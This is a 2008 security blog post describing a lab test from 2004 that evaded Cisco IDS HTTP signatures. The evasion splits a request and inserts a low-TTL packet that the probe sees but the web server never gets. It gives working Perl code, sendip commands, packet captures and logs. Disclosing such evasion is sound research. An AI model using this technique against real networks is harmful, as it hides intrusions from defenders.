SecureArtisan

My Road to Digital Forensics Excellence

Evading a Cisco IDS Probe

Posted by Paul Bobby on December 23, 2008

A long time ago (June 2004), I stumbled upon a most ridiculous deficiency in the Cisco IDS probe that allowed me to evade HTTP string based signatures. This was based on 2004 Cisco IDS technology. So let me fill you in…

The evasion tactic takes advantage of the Cisco IDS probe not knowing if a packet reaches the intended destination or not. The probe reassembles any traffic it sees before passing it on to the signature detection mechanisms. The theory is simple:

  1. Send GET /cgi-bin/gobbler/p to the destination web server
  2. Send d with a TTL sufficient so that it passes the IDS but does not reach the web server
  3. Send hf HTTP/1.0 to the destination web server

The web server correctly receives the string GET /cgi-bin/gobbler/phf HTTP/1.0 and processes it accordingly. The IDS sees the string GET /cgi-bin/gobbler/pdhf HTTP/1.0 which does not match the Cisco IDS regex phf[? \r\n\t] of the signature.

We have evaded the IDS.

The details are of course a little more complicated. The following diagram describes the testbed network environment.

Testbed Network

The Attacker is running some sort of Linux distro, with the application sendip installed. (Great little tool for sending custom IP packets with every option settable)

The test was conducted against Cisco IDS v4.1-4-S95

The webserver was running a default IIS installation under Win2k.

Ethereal was running on both the Attacker PC (attacker.sniff) and the web server (webserver.sniff).

The following PERL code was used to fabricate the packets from #1 and #3 above:

   1: use IO::Socket;
   3: $socket = IO::Socket::INET->new(PeerAddr => “10.3.3.224”,
   4:                     PeerPort => “80”,
   5:                     Proto => “tcp”,
   6:                     Type => SOCK_STREAM)
   7: or die “Couldn’t connect : $@\n”;
   9: print $socket “GET /cgi-bin/gobbler/p”;
  10: print “Hit enter when sendip completed\n”;
  11: $srd=<stdin>;
  12: print $socket “hf HTTP/1.0\r\n\r\n”;
  14: my @array;
  15: @array = <socket>;
  16: foreach $tmp (@array) {
  17:     print “$tmp”;
  18: }
  19: close $socket;

The SendIP string used to fabricate our custom packet:

   1: Sendip    –d “d”
   2:     -p ipv4 –is 10.1.1.101 –ip 6 –it 2
   3:     -p tcp     –td 80 –tfp 1 –tfa 1 –tfs 0
   4:         -ts s_port –tn seq# -ta ack#
   5:     10.3.3.224 

  • -it 2 : TTL of 2
  • -ts s_port: source port
  • -tn seq#: sequence number
  • -ta ack#: acknowledgement number

Step 1

The handshake (from the PERL code)

image 

Step 2

Send the first part of the HTTP Request (GET /cgi-bin/gobbler/p) (from the PERL code)

image 

Details of the GET packet

   1: Frame 4 (88 bytes on wire, 88 bytes captured)
   2:     Arrival Time: Jun 14, 2004 08:56:25.166907000
   3:     Time delta from previous packet: 0.002306000 seconds
   4:     Time since reference or first frame: 0.004232000 seconds
   5:     Frame Number: 4
   6:     Packet Length: 88 bytes
   7:     Capture Length: 88 bytes
   8: Ethernet II, Src: 00:10:5a:d4:a2:c5, Dst: 00:04:dd:0c:f1:e4
   9:     Destination: 00:04:dd:0c:f1:e4 (Cisco_0c:f1:e4)
  10:     Source: 00:10:5a:d4:a2:c5 (3com_d4:a2:c5)
  11:     Type: IP (0x0800)
  12: Internet Protocol, Src Addr: 10.1.1.101 (10.1.1.101), Dst Addr: 10.3.3.224 (10.3.3.224)
  13:     Version: 4
  14:     Header length: 20 bytes
  15:     Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
  16:         0000 00.. = Differentiated Services Codepoint: Default (0x00)
  17:         .... ..0. = ECN-Capable Transport (ECT): 0
  18:         .... ...0 = ECN-CE: 0
  19:     Total Length: 74
  20:     Identification: 0x6277 (25207)
  21:     Flags: 0x04
  22:         0... = Reserved bit: Not set
  23:         .1.. = Don't fragment: Set
  24:         ..0. = More fragments: Not set
  25:     Fragment offset: 0
  26:     Time to live: 64
  27:     Protocol: TCP (0x06)
  28:     Header checksum: 0xbeee (correct)
  29:     Source: 10.1.1.101 (10.1.1.101)
  30:     Destination: 10.3.3.224 (10.3.3.224)
  31: Transmission Control Protocol, Src Port: 32810 (32810), Dst Port: http (80), Seq: 1, Ack: 1, Len: 22
  32:     Source port: 32810 (32810)
  33:     Destination port: http (80)
  34:     Sequence number: 1
  35:     Next sequence number: 23
  36:     Acknowledgement number: 1
  37:     Header length: 32 bytes
  38:     Flags: 0x0018 (PSH, ACK)
  39:         0... .... = Congestion Window Reduced (CWR): Not set
  40:         .0.. .... = ECN-Echo: Not set
  41:         ..0. .... = Urgent: Not set
  42:         ...1 .... = Acknowledgment: Set
  43:         .... 1... = Push: Set
  44:         .... .0.. = Reset: Not set
  45:         .... ..0. = Syn: Not set
  46:         .... ...0 = Fin: Not set
  47:     Window size: 5840
  48:     Checksum: 0xd9f0 (correct)
  49:     Options: (12 bytes)
  50:         NOP
  51:         NOP
  52:         Time stamp: tsval 1774387, tsecr 0
  53: Hypertext Transfer Protocol
  54:     GET /cgi-bin/gobbler/p
  55:         Request Method: GET
  56:  
  57: 0000  00 04 dd 0c f1 e4 00 10 5a d4 a2 c5 08 00 45 00   ........Z.....E.
  58: 0010  00 4a 62 77 40 00 40 06 be ee 0a 01 01 65 0a 03   .Jbw@.@......e..
  59: 0020  03 e0 80 2a 00 50 b2 1d 71 47 45 40 11 0d 80 18   ...*.P..qGE@....
  60: 0030  16 d0 d9 f0 00 00 01 01 08 0a 00 1b 13 33 00 00   .............3..
  61: 0040  00 00 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f 67   ..GET /cgi-bin/g
  62: 0050  6f 62 62 6c 65 72 2f 70                           obbler/p

Details of the response

   1: Frame 5 (66 bytes on wire, 66 bytes captured)
   2:     Arrival Time: Jun 14, 2004 08:56:25.319512000
   3:     Time delta from previous packet: 0.152605000 seconds
   4:     Time since reference or first frame: 0.156837000 seconds
   5:     Frame Number: 5
   6:     Packet Length: 66 bytes
   7:     Capture Length: 66 bytes
   8: Ethernet II, Src: 00:04:dd:0c:f1:e4, Dst: 00:10:5a:d4:a2:c5
   9:     Destination: 00:10:5a:d4:a2:c5 (3com_d4:a2:c5)
  10:     Source: 00:04:dd:0c:f1:e4 (Cisco_0c:f1:e4)
  11:     Type: IP (0x0800)
  12: Internet Protocol, Src Addr: 10.3.3.224 (10.3.3.224), Dst Addr: 10.1.1.101 (10.1.1.101)
  13:     Version: 4
  14:     Header length: 20 bytes
  15:     Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
  16:         0000 00.. = Differentiated Services Codepoint: Default (0x00)
  17:         .... ..0. = ECN-Capable Transport (ECT): 0
  18:         .... ...0 = ECN-CE: 0
  19:     Total Length: 52
  20:     Identification: 0x4992 (18834)
  21:     Flags: 0x04
  22:         0... = Reserved bit: Not set
  23:         .1.. = Don't fragment: Set
  24:         ..0. = More fragments: Not set
  25:     Fragment offset: 0
  26:     Time to live: 126
  27:     Protocol: TCP (0x06)
  28:     Header checksum: 0x99e9 (correct)
  29:     Source: 10.3.3.224 (10.3.3.224)
  30:     Destination: 10.1.1.101 (10.1.1.101)
  31: Transmission Control Protocol, Src Port: http (80), Dst Port: 32810 (32810), Seq: 1, Ack: 23, Len: 0
  32:     Source port: http (80)
  33:     Destination port: 32810 (32810)
  34:     Sequence number: 1
  35:     Acknowledgement number: 23
  36:     Header length: 32 bytes
  37:     Flags: 0x0010 (ACK)
  38:         0... .... = Congestion Window Reduced (CWR): Not set
  39:         .0.. .... = ECN-Echo: Not set
  40:         ..0. .... = Urgent: Not set
  41:         ...1 .... = Acknowledgment: Set
  42:         .... 0... = Push: Not set
  43:         .... .0.. = Reset: Not set
  44:         .... ..0. = Syn: Not set
  45:         .... ...0 = Fin: Not set
  46:     Window size: 65513
  47:     Checksum: 0x8fb4 (correct)
  48:     Options: (12 bytes)
  49:         NOP
  50:         NOP
  51:         Time stamp: tsval 3457041, tsecr 1774387
  52:     SEQ/ACK analysis
  53:         This is an ACK to the segment in frame: 4
  54:         The RTT to ACK the segment was: 0.152605000 seconds
  55:  
  56: 0000  00 10 5a d4 a2 c5 00 04 dd 0c f1 e4 08 00 45 00   ..Z...........E.
  57: 0010  00 34 49 92 40 00 7e 06 99 e9 0a 03 03 e0 0a 01   .4I.@.~.........
  58: 0020  01 65 00 50 80 2a 45 40 11 0d b2 1d 71 5d 80 10   .e.P.*E@....q]..
  59: 0030  ff e9 8f b4 00 00 01 01 08 0a 00 34 c0 11 00 1b   ...........4....
  60: 0040  13 33                                             .3

Step 3

Send the character ‘d’ with a TTL of 2 so that the packet passes the IDS probe but does not reach the web server. The following SendIP command performs this function:

sendip -d "d" -pipv4 -ip 6 -is 10.1.1.101 -it 2 -p tcp -td 80 -tw 5840 -tfs 0 -tfp 1 -tfa 1 -ts 32810 -tn 23 -ta 1

Note that the SEQ# (-tn 23) equals the ACK# from Frame 5 above. And the ACK# (-ta 1) equals the SEQ# from Frame 5 above.

image

Details of the SendIP packet

   1: Frame 6 (55 bytes on wire, 55 bytes captured)
   2:     Arrival Time: Jun 14, 2004 08:57:29.569814000
   3:     Time delta from previous packet: 64.250302000 seconds
   4:     Time since reference or first frame: 64.407139000 seconds
   5:     Frame Number: 6
   6:     Packet Length: 55 bytes
   7:     Capture Length: 55 bytes
   8: Ethernet II, Src: 00:10:5a:d4:a2:c5, Dst: 00:04:dd:0c:f1:e4
   9:     Destination: 00:04:dd:0c:f1:e4 (Cisco_0c:f1:e4)
  10:     Source: 00:10:5a:d4:a2:c5 (3com_d4:a2:c5)
  11:     Type: IP (0x0800)
  12: Internet Protocol, Src Addr: 10.1.1.101 (10.1.1.101), Dst Addr: 10.3.3.224 (10.3.3.224)
  13:     Version: 4
  14:     Header length: 20 bytes
  15:     Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
  16:         0000 00.. = Differentiated Services Codepoint: Default (0x00)
  17:         .... ..0. = ECN-Capable Transport (ECT): 0
  18:         .... ...0 = ECN-CE: 0
  19:     Total Length: 41
  20:     Identification: 0x68f0 (26864)
  21:     Flags: 0x04
  22:         0... = Reserved bit: Not set
  23:         .1.. = Don't fragment: Set
  24:         ..0. = More fragments: Not set
  25:     Fragment offset: 0
  26:     Time to live: 2
  27:     Protocol: TCP (0x06)
  28:     Header checksum: 0xf696 (correct)
  29:     Source: 10.1.1.101 (10.1.1.101)
  30:     Destination: 10.3.3.224 (10.3.3.224)
  31: Transmission Control Protocol, Src Port: 32810 (32810), Dst Port: http (80), Seq: 23, Ack: 1, Len: 1
  32:     Source port: 32810 (32810)
  33:     Destination port: http (80)
  34:     Sequence number: 23
  35:     Next sequence number: 24
  36:     Acknowledgement number: 1
  37:     Header length: 20 bytes
  38:     Flags: 0x0018 (PSH, ACK)
  39:         0... .... = Congestion Window Reduced (CWR): Not set
  40:         .0.. .... = ECN-Echo: Not set
  41:         ..0. .... = Urgent: Not set
  42:         ...1 .... = Acknowledgment: Set
  43:         .... 1... = Push: Set
  44:         .... .0.. = Reset: Not set
  45:         .... ..0. = Syn: Not set
  46:         .... ...0 = Fin: Not set
  47:     Window size: 5840
  48:     Checksum: 0x2170 (correct)
  49: Hypertext Transfer Protocol
  50:     Data (1 byte)
  51:  
  52: 0000  00 04 dd 0c f1 e4 00 10 5a d4 a2 c5 08 00 45 00   ........Z.....E.
  53: 0010  00 29 68 f0 40 00 02 06 f6 96 0a 01 01 65 0a 03   .)h.@........e..
  54: 0020  03 e0 80 2a 00 50 b2 1d 71 5d 45 40 11 0d 50 18   ...*.P..q]E@..P.
  55: 0030  16 d0 21 70 00 00 64                              ..!p..d

Step 4

Send a TCP Keepalive packet to the web server. This forces an increment in the SEQ/ACK numbers for the current sessions. We can complete the HTTP request with the web server without taking this step, however the IDS probe issues an alert, correctly I might add, called “TCP Segment Overwrite”.

The keepalive packet has no effect on the TCP session with the web server other than to increment SEQ/ACK numbers for the web server. The importance here is that the TCP reassembly functions of the Cisco IDS probe are kept happy.

The keepalive packet is sent using SendIP with a high enough TTL to ensure it reaches the web server.

   1: sendip -d "" -pipv4 -ip 6 -is 10.1.1.101 -it 5 -p tcp -td 80 -tw 5840 -tfs 0 -tfp 1 -tfa 1 -ts 32810 -tn 23 -ta 1

image

Details of the SendIP Keepalive Packet

   1: Frame 7 (54 bytes on wire, 54 bytes captured)
   2:     Arrival Time: Jun 14, 2004 08:57:46.155222000
   3:     Time delta from previous packet: 16.585408000 seconds
   4:     Time since reference or first frame: 80.992547000 seconds
   5:     Frame Number: 7
   6:     Packet Length: 54 bytes
   7:     Capture Length: 54 bytes
   8: Ethernet II, Src: 00:10:5a:d4:a2:c5, Dst: 00:04:dd:0c:f1:e4
   9:     Destination: 00:04:dd:0c:f1:e4 (Cisco_0c:f1:e4)
  10:     Source: 00:10:5a:d4:a2:c5 (3com_d4:a2:c5)
  11:     Type: IP (0x0800)
  12: Internet Protocol, Src Addr: 10.1.1.101 (10.1.1.101), Dst Addr: 10.3.3.224 (10.3.3.224)
  13:     Version: 4
  14:     Header length: 20 bytes
  15:     Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
  16:         0000 00.. = Differentiated Services Codepoint: Default (0x00)
  17:         .... ..0. = ECN-Capable Transport (ECT): 0
  18:         .... ...0 = ECN-CE: 0
  19:     Total Length: 40
  20:     Identification: 0x06b8 (1720)
  21:     Flags: 0x04
  22:         0... = Reserved bit: Not set
  23:         .1.. = Don't fragment: Set
  24:         ..0. = More fragments: Not set
  25:     Fragment offset: 0
  26:     Time to live: 5
  27:     Protocol: TCP (0x06)
  28:     Header checksum: 0x55d0 (correct)
  29:     Source: 10.1.1.101 (10.1.1.101)
  30:     Destination: 10.3.3.224 (10.3.3.224)
  31: Transmission Control Protocol, Src Port: 32810 (32810), Dst Port: http (80), Seq: 23, Ack: 1, Len: 0
  32:     Source port: 32810 (32810)
  33:     Destination port: http (80)
  34:     Sequence number: 23
  35:     Acknowledgement number: 1
  36:     Header length: 20 bytes
  37:     Flags: 0x0018 (PSH, ACK)
  38:         0... .... = Congestion Window Reduced (CWR): Not set
  39:         .0.. .... = ECN-Echo: Not set
  40:         ..0. .... = Urgent: Not set
  41:         ...1 .... = Acknowledgment: Set
  42:         .... 1... = Push: Set
  43:         .... .0.. = Reset: Not set
  44:         .... ..0. = Syn: Not set
  45:         .... ...0 = Fin: Not set
  46:     Window size: 5840
  47:     Checksum: 0x8571 (correct)
  48:     SEQ/ACK analysis
  49:         TCP Analysis Flags
  50:             This is a TCP keep-alive segment
  51:  
  52: 0000  00 04 dd 0c f1 e4 00 10 5a d4 a2 c5 08 00 45 00   ........Z.....E.
  53: 0010  00 28 06 b8 40 00 05 06 55 d0 0a 01 01 65 0a 03   .(..@...U....e..
  54: 0020  03 e0 80 2a 00 50 b2 1d 71 5d 45 40 11 0d 50 18   ...*.P..q]E@..P.
  55: 0030  16 d0 85 71 00 00                                 ...q..

Step 5

Send the remainder of the HTTP request (using the PERL code)

Details of that packet.

   1: Frame 8 (81 bytes on wire, 81 bytes captured)
   2:     Arrival Time: Jun 14, 2004 08:57:51.781567000
   3:     Time delta from previous packet: 5.626345000 seconds
   4:     Time since reference or first frame: 86.618892000 seconds
   5:     Frame Number: 8
   6:     Packet Length: 81 bytes
   7:     Capture Length: 81 bytes
   8: Ethernet II, Src: 00:10:5a:d4:a2:c5, Dst: 00:04:dd:0c:f1:e4
   9:     Destination: 00:04:dd:0c:f1:e4 (Cisco_0c:f1:e4)
  10:     Source: 00:10:5a:d4:a2:c5 (3com_d4:a2:c5)
  11:     Type: IP (0x0800)
  12: Internet Protocol, Src Addr: 10.1.1.101 (10.1.1.101), Dst Addr: 10.3.3.224 (10.3.3.224)
  13:     Version: 4
  14:     Header length: 20 bytes
  15:     Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
  16:         0000 00.. = Differentiated Services Codepoint: Default (0x00)
  17:         .... ..0. = ECN-Capable Transport (ECT): 0
  18:         .... ...0 = ECN-CE: 0
  19:     Total Length: 67
  20:     Identification: 0x6278 (25208)
  21:     Flags: 0x04
  22:         0... = Reserved bit: Not set
  23:         .1.. = Don't fragment: Set
  24:         ..0. = More fragments: Not set
  25:     Fragment offset: 0
  26:     Time to live: 64
  27:     Protocol: TCP (0x06)
  28:     Header checksum: 0xbef4 (correct)
  29:     Source: 10.1.1.101 (10.1.1.101)
  30:     Destination: 10.3.3.224 (10.3.3.224)
  31: Transmission Control Protocol, Src Port: 32810 (32810), Dst Port: http (80), Seq: 23, Ack: 1, Len: 15
  32:     Source port: 32810 (32810)
  33:     Destination port: http (80)
  34:     Sequence number: 23
  35:     Next sequence number: 38
  36:     Acknowledgement number: 1
  37:     Header length: 32 bytes
  38:     Flags: 0x0018 (PSH, ACK)
  39:         0... .... = Congestion Window Reduced (CWR): Not set
  40:         .0.. .... = ECN-Echo: Not set
  41:         ..0. .... = Urgent: Not set
  42:         ...1 .... = Acknowledgment: Set
  43:         .... 1... = Push: Set
  44:         .... .0.. = Reset: Not set
  45:         .... ..0. = Syn: Not set
  46:         .... ...0 = Fin: Not set
  47:     Window size: 5840
  48:     Checksum: 0xb466 (correct)
  49:     Options: (12 bytes)
  50:         NOP
  51:         NOP
  52:         Time stamp: tsval 1783049, tsecr 3457041
  53:     SEQ/ACK analysis
  54:         TCP Analysis Flags
  55:             This frame is a (suspected) retransmission
  56: Hypertext Transfer Protocol
  57:     Data (15 bytes)
  58:  
  59: 0000  00 04 dd 0c f1 e4 00 10 5a d4 a2 c5 08 00 45 00   ........Z.....E.
  60: 0010  00 43 62 78 40 00 40 06 be f4 0a 01 01 65 0a 03   .Cbx@.@......e..
  61: 0020  03 e0 80 2a 00 50 b2 1d 71 5d 45 40 11 0d 80 18   ...*.P..q]E@....
  62: 0030  16 d0 b4 66 00 00 01 01 08 0a 00 1b 35 09 00 34   ...f........5..4
  63: 0040  c0 11 68 66 20 48 54 54 50 2f 31 2e 30 0d 0a 0d   ..hf HTTP/1.0...
  64: 0050  0a                                                .

Step 6

The following entry from the webserver logfile shows that the request was received as we intended:

   1: #Software: Microsoft Internet Information Services 5.0
   2: #Version: 1.0
   3: #Date: 2004-06-14 17:06:28
   4: #Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status cs(User-Agent) 
   5: 2004-06-14 21:57:47 10.1.1.101 - 10.3.3.224 80 GET /cgi-bin/gobbler/phf - 404 -

The wireshark function “Follow TCP Stream” from the attacker.sniff file

   1: GET /cgi-bin/gobbler/pdf HTTP/1.0
   2:  
   3: HTTP/1.1 404 Object Not Found
   4: Server: Microsoft-IIS/5.0
   5: Date: Mon, 14 Jun 2004 21:57:47 GMT
   6: Content-Length: 4040
   7: Content-Type: text/html

The wireshark function “Follow TCP Stream” from the webserver.sniff file

   1: GET /cgi-bin/gobbler/phf HTTP/1.0
   2:  
   3: HTTP/1.1 404 Object Not Found
   4: Server: Microsoft-IIS/5.0
   5: Date: Mon, 14 Jun 2004 21:57:47 GMT
   6: Content-Length: 4040
   7: Content-Type: text/html

And that’s how to defeat the simple HTTP request signatures of an IDS.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: